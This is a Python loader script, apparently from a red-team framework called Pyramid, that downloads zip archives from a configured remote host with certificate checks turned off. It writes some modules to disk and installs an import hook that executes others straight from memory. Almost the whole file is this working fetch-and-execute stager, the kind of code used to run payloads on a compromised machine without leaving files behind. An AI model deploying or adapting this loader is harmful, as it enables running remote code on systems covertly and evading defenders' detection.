
# -- Custom Finder ---------------------------------------------------

import os
import io
import ssl
import sys
import importlib
import urllib.request
from zipfile import ZipFile
from base64 import b64encode

ZIPPED, META_CACHE = {}, {}


class CFinder():

	def __init__(self, repo_name):
		self.repo_name = repo_name
		self._source_code = {}

	def _get_info(self, repo_name, full_name):
		parts = full_name.split('.')
		submodule = parts[-1]
		module_path = '/'.join(parts)

		for suffix, is_package in (('.py', False), ('/__init__.py', True)):
			relative_path = module_path + suffix
			try:
				ZIPPED[repo_name].getinfo(relative_path)
			except KeyError:
				continue
			else:
				return submodule, is_package, relative_path

		raise ImportError(f'Unable to locate module {submodule} in the {repo_name} repo')

	def _get_source_code(self, repo_name, full_name):
		submodule, is_package, relative_path = self._get_info(repo_name, full_name)

		full_path = f'{repo_name}/{relative_path}'
		if relative_path in self._source_code:
			code = self._source_code[relative_path]
			return submodule, is_package, full_path, code

		try:
			code = ZIPPED[repo_name].read(relative_path).decode()
			code = code.replace('\r\n', '\n').replace('\r', '\n')
			self._source_code[relative_path] = code
			return submodule, is_package, full_path, code
		except:
			raise ImportError(f'Unable to obtain source code for module {full_path}')

	def find_module(self, full_name, path=None):
		try:
			self._get_info(self.repo_name, full_name)
		except ImportError:
			return None

		return self

	def load_module(self, full_name):
		_, is_package, full_path, source = self._get_source_code(self.repo_name, full_name)

		code = compile(source, full_path, 'exec')
		spec = importlib.util.spec_from_loader(full_name, loader=None)
		module = sys.modules.setdefault(full_name, importlib.util.module_from_spec(spec))
		module.__loader__ = self
		module.__file__ = full_path
		module.__name__ = full_name

		if is_package:
			module.__path__ = [os.path.dirname(module.__file__)]
		exec(code, module.__dict__)

		return module

	@staticmethod
	def install_hook(repo_name):
		if repo_name not in META_CACHE:
			finder = CFinder(repo_name)
			META_CACHE[repo_name] = finder
			sys.meta_path.append(finder)

	@staticmethod
	def hook_routine(zip_name, zip_bytes):
		ZIPPED[zip_name] = ZipFile(io.BytesIO(zip_bytes), 'r')
		CFinder.install_hook(zip_name)


def build_http_request(filename):
	context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
	context.check_hostname = False
	context.verify_mode = ssl.CERT_NONE

	request = urllib.request.Request(f'https://{PYRAMID_HOST}:{PYRAMID_PORT}/{filename}.zip')
	auth = b64encode(bytes(f'{PYRAMID_USERNAME}:{PYRAMID_PASSWORD}', 'ascii')).decode()
	request.add_header('Authorization', f'Basic {auth}')

	return context, request


def download_and_unpack():
	for module in PYRAMID_TO_UNPACK:
		print(f'[*] Downloading and unpacking module: {module}')

		context, request = build_http_request(module)
		with urllib.request.urlopen(request, context=context) as response:
			zip_bytes = response.read()

		with ZipFile(io.BytesIO(zip_bytes), 'r') as z:
			z.extractall(os.getcwd())


def download_and_import():
	for module in PYRAMID_TO_IMPORT:
		print(f'[*] Downloading and importing module in memory: {module}')

		context, request = build_http_request(module)
		with urllib.request.urlopen(request, context=context) as response:
			zip_bytes = response.read()
			CFinder.hook_routine(module, zip_bytes)

	print('[+] Hooks installed!')


download_and_unpack()
download_and_import()

# -- Main ------------------------------------------------------------

